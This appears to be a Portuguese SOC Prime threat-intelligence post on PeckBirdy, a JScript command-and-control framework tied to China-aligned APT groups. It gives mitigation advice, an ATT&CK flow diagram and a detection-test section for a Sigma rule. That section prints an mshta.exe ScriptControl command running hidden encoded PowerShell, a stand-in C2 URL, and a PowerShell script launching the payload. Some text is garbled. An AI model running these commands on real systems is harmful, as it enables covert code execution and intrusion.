SOC Prime Bias: Crítico

26 Jan 2026 22:08

PeckBirdy: Um Framework de Script Versátil para Exploração de LOLBins Usado por Grupos de Ameaças Alinhados à China

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
PeckBirdy: Um Framework de Script Versátil para Exploração de LOLBins Usado por Grupos de Ameaças Alinhados à China
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

PeckBirdy é uma estrutura de comando e controle baseada em JScript utilizada por atores APT alinhados à China para abusar de binários living-off-the-land e implantar backdoors modulares, incluindo HOLODONUT e MKDOOR. Foi projetada para executar em vários ambientes de execução—navegadores web, MSHTA, WScript, NodeJS e .NET—e suporta várias opções de transporte, como WebSocket, Flash, Comet e HTTP. A estrutura foi observada em campanhas rastreadas como SHADOW-VOID-044 e SHADOW-EARTH-045, que miraram recursos de jogos de azar online, portais governamentais asiáticos e uma organização do setor educacional.

Investigação

Pesquisadores relataram injeções de script malicioso em sites de jogos de azar comprometidos e páginas governamentais que puxavam o carregador PeckBirdy, que então recuperava as cargas subsequentes—mais notavelmente um exploit para Chrome (CVE-2020-16040) e componentes adicionais de backdoor. A atividade foi ligada a dois implantes modulares, HOLODONUT e MKDOOR, e conectada a grupos previamente observados e padrões de infraestrutura. A análise também catalogou indicadores de comprometimento, incluindo endereços IP, domínios e detalhes operacionais como o uso de certificados de assinatura de código roubados.

Mitigação

Bloqueie os domínios e endereços IP maliciosos identificados e monitore o uso atípico de LOLBin e execução de scripts via MSHTA, WScript e NodeJS. Detecte a criação do unique_id arquivo em %TEMP% e aplique validação rigorosa de certificados de assinatura de código. Cobertura para cargas conhecidas de Cobalt Strike e assemblies .NET gerados pelo Donut pode ainda mais reduzir a exposição.

Resposta

Se detectado, isole os sistemas afetados, colete o script injetado e quaisquer binários backdoor produzidos, e bloqueie a infraestrutura C2 associada. Realize triagem forense para movimentos laterais e atualize a lógica de detecção para os artefatos comuns observados na linha de comando e padrões de tráfego de rede.

“graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[“<b>Técnica</b> – <b>T1659 Injeção de Conteúdo</b><br /><b>Descrição</b>: Injetar scripts maliciosos em páginas web comprometidas para entregar cargas adicionais.”] class content_injection technique execution_mshta[“<b>Técnica</b> – <b>T1218.005 Execução de Proxy de Binário Assinado: Mshta</b><br /><b>Descrição</b>: Usar mshta.exe para executar arquivos de aplicação HTML maliciosos.”] class execution_mshta technique execution_compiled_html[“<b>Técnica</b> – <b>T1218.001 Execução de Proxy de Binário Assinado: Arquivo HTML Compilado</b><br /><b>Descrição</b>: Usar arquivos HTML compilados para executar cargas JScript maliciosas.”] class execution_compiled_html technique victim_id_gen[“<b>Processo</b> – Geração de Identificador de Vítima<br />Gerar um ID único para a vítima e preparar o script malicioso.”] class victim_id_gen process credential_steal_cookie[“<b>Técnica</b> – <b>T1539 Roubo de Cookie de Sessão Web</b><br /><b>Descrição</b>: Extrair cookies de autenticação da sessão do navegador da vítima.”] class credential_steal_cookie technique alt_auth_material_cookie[“<b>Técnica</b> – <b>T1550.004 Uso de Material de Autenticação Alternativo: Cookie de Sessão Web</b><br /><b>Descrição</b>: Reutilizar cookies de sessão roubados para autenticar-se como a vítima.”] class alt_auth_material_cookie technique defense_evasion_code_signing[“<b>Técnica</b> – <b>T1553.002 Subverter Controles de Confiança: Assinatura de Código</b><br /><b>Descrição</b>: Usar código falsificado ou mal assinado para burlar verificações de confiança.”] class defense_evasion_code_signing technique masquerading_invalid_sig[“<b>Técnica</b> – <b>T1036.001 Mascaramento: Assinatura de Código Inválida</b><br /><b>Descrição</b>: Apresentar binários com assinaturas inválidas para evitar detecção.”] class masquerading_invalid_sig technique reflective_code_loading[“<b>Técnica</b> – <b>T1620 Carregamento de Código Reflexivo</b><br /><b>Descrição</b>: Carregar código diretamente na memória sem invocar o carregador do sistema operacional.”] class reflective_code_loading technique process_injection[“<b>Técnica</b> – <b>T1055 Injeção de Processo</b><br /><b>Descrição</b>: Injetar código malicioso em um processo em execução para ocultar a execução.”] class process_injection technique impair_defenses[“<b>Técnica</b> – <b>T1562 Impedimento de Defesas</b><br /><b>Descrição</b>: Desativar ou alterar ferramentas e configurações de segurança.”] class impair_defenses technique execution_guardrails[“<b>Técnica</b> – <b>T1480 Trilhos de Segurança na Execução</b><br /><b>Descrição</b>: Implementar verificações para executar apenas em alvos ou ambientes específicos.”] class execution_guardrails technique obfuscated_embedded_payload[“<b>Técnica</b> – <b>T1027.009 Arquivos ou Informações Ofuscadas: Cargas Embutidas</b><br /><b>Descrição</b>: Ocultar cargas maliciosas dentro de arquivos legítimos ou fluxos de dados.”] class obfuscated_embedded_payload technique command_and_control_web[“<b>Técnica</b> – <b>T1102 Serviço Web</b><br /><b>Descrição</b>: Utilizar serviços web padrão para comunicação de comando e controle.”] class command_and_control_web technique encrypted_channel[“<b>Técnica</b> – <b>T1573 Canal Criptografado</b><br /><b>Descrição</b>: Criptografar tráfego C2 para evitar inspeção de rede.”] class encrypted_channel technique app_layer_web_protocols[“<b>Técnica</b> – <b>T1071.001 Protocolo de Camada de Aplicação: Protocolos Web</b><br /><b>Descrição</b>: Comunicar-se sobre protocolos web comuns, como HTTP/HTTPS.”] class app_layer_web_protocols technique data_encoding[“<b>Técnica</b> – <b>T1132 Codificação de Dados</b><br /><b>Descrição</b>: Codificar dados para evitar detecção durante a transmissão.”] class data_encoding technique lateral_movement_exploit[“<b>Técnica</b> – <b>T1210 Exploração de Serviços Remotos</b><br /><b>Descrição</b>: Explorar serviços remotos vulneráveis para movimentação lateral.”] class lateral_movement_exploit technique remote_vulnerability[“<b>Processo</b> – Exploração da vulnerabilidade CVEu20112020u201116040 do Chrome”] class remote_vulnerability process rat_holodonut[“<b>Malware</b> – HOLODONUT<br />Backdoor personalizado usado para acesso remoto”] class rat_holodonut malware rat_mkdoor[“<b>Malware</b> – MKDOOR<br />Backdoor secundário fornecendo persistência”] class rat_mkdoor malware %% Operator Nodes op_and_exec((“AND”)) class op_and_exec operator %% Connections content_injection u002du002d>|delivers| execution_mshta content_injection u002du002d>|delivers| execution_compiled_html execution_mshta u002du002d>|launches| victim_id_gen execution_compiled_html u002du002d>|launches| victim_id_gen victim_id_gen u002du002d>|stages script for| credential_steal_cookie credential_steal_cookie u002du002d>|leads to| alt_auth_material_cookie credential_steal_cookie u002du002d>|enables| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|includes| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|includes| reflective_code_loading defense_evasion_code_signing u002du002d>|includes| process_injection defense_evasion_code_signing u002du002d>|includes| impair_defenses defense_evasion_code_signing u002du002d>|includes| execution_guardrails defense_evasion_code_signing u002du002d>|includes| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|enables| command_and_control_web command_and_control_web u002du002d>|uses| encrypted_channel encrypted_channel u002du002d>|uses| app_layer_web_protocols app_layer_web_protocols u002du002d>|uses| data_encoding command_and_control_web u002du002d>|supports| lateral_movement_exploit lateral_movement_exploit u002du002d>|via| remote_vulnerability lateral_movement_exploit u002du002d>|deploys| rat_holodonut lateral_movement_exploit u002du002d>|deploys| rat_mkdoor “

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e o narrativo DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa de Ataque & Comandos:
    O adversário deseja estabelecer um canal de controle remoto usando o framework de script PeckBirdy. Eles escolhem script framework. They choose mshta.exe porque é um binário assinado do Windows que contorna a maioria das listas de permissões de aplicativos. O payload embutido é um ActiveX ScriptControl objeto para executar código JScript obtido de um servidor C2. Os passos são:

    1. Baixar a carga maliciosa de JScript do C2 (ex., http://malicious.c2/payload.js).
    2. Iniciar mshta.exe com um javascript: URI que cria um ScriptControl objeto, carrega o script baixado e o executa.
    3. O código JScript estabelece um ouvinte TCP reverso, completando a base.

    A linha de comando exata que produz a telemetria é:

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    Este comando contém mshta.exe e a string ScriptControl, satisfazendo a condição Sigma.

  • Script de Teste de Regressão:
    O script abaixo automatiza a invocação maliciosa de mshta . Ele pode ser executado em uma estação de teste sob uma conta administrativa.

    #-------------------------------------------------
    # Execução PeckBirdy via mshta + ScriptControl
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // Simples beacon – substitua por carga real
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");');
    "@
    
    # Codifique a carga de JScript para evitar problemas de quebra de linha
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] Iniciando mshta malicioso..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • Comandos de Limpeza:
    Remova quaisquer artefatos criados pelo teste (ex., o arquivo temporário).

    #-------------------------------------------------
    # Limpeza após simulação PeckBirdy
    #-------------------------------------------------
    Write-Host "[*] Limpando artefatos de teste..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # Pare quaisquer processos mshta remanescentes iniciados pelo teste
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force